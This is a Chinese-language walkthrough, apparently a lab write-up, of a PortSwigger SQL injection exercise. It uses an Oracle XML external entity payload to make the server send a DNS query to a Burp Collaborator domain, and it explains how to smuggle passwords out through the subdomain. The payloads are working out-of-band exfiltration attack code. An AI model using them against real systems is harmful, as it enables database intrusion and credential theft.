# Web SQL injection Lab16 題目敘述可知這題是透過 SQL Injection 注入 payload,讓伺服器去幫我們對外發出請求(像是 DNS 查詢),我們就能知道注入成功。 利用 SQL injection 讓伺服器對 Burp Collaborator 提供的域名發出 DNS 查詢,成功即過關。 --- 一樣先進入網站並攔截請求。   然後獲得專屬的 Collaborator 子網域。  ``` a3esjojlhq36qemq18j1q6fl3c94xwll.oastify.com ``` 接下來要發出 DNS 查詢,所以我們可以根據 Port swigger 給的資訊中,知道在不同資料庫中有不同的語法,所以我們依次嘗試,從 Oracle 開始。  ``` SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual ``` 放入我們的子網域: ``` '+UNION+SELECT+EXTRACTVALUE(xmltype('<!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http://a3esjojlhq36qemq18j1q6fl3c94xwll.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual-- ```  成功送出後,我們到 Collaborator 中點 Poll now,就可以看到我們剛剛的 DNS 查詢紀錄(灰色部分)。   :::success ### 這題在幹嘛? 想像場景:你住在一棟管制森嚴的大樓 你(駭客)站在大樓外面,想知道裡面某間房間的秘密(像是 administrator 的密碼),但—— - 大樓不讓你直接進去 - 也不會直接告訴你任何東西 但如果你偷偷塞了一張小紙條給櫃台(SQL injection),而那張紙條內容是: 「欸,請你打電話到我家(我控制的 DNS 伺服器),順便告訴我某某資訊。」 比如: ``` 請撥打:0912-XXX-[密碼內容].我的家.com ``` 在真實世界中就是你透過 SQL injection 傳遞了一段 payload,內容大概像是這樣: ``` SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://a3esjo123.oastify.com"> %remote;]>'), '/l') FROM dual; ``` 這段指令會逼伺服器: - 嘗試解析一段 XML - 裡面有個「實體」指向你控制的 DNS 網域 結果伺服器就會偷偷地「打給你」: `a3esjo123.oastify.com` 這就是所謂的 Out-of-Band 資料外洩(OOB exfiltration) ### Burp Collaborator 是什麼? 就像你家電話總機一樣,你可以在那邊聽電話(=收集 DNS 請求),如果你看到剛剛那通電話來了,就代表: 「耶,他真的幫我打了!」 → SQL 注入成功了 *進一步延伸 你還可以不只是打給 `a3esjo123.oastify.com` 而是: ``` http://[密碼字串].a3esjo123.oastify.com ``` 就像說: ``` 「你打給我時,順便告訴我密碼是什麼,我會看來電號碼裡的那一段~」 ``` 這樣你不用回應畫面、錯誤訊息,光靠 DNS 就能偷資料走人! 總結成一行生活化: 你用 SQL 注入塞了張小紙條,叫伺服器幫你偷偷打電話給你家報料,只要你接到電話,任務就成功啦 。 ::: ---
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up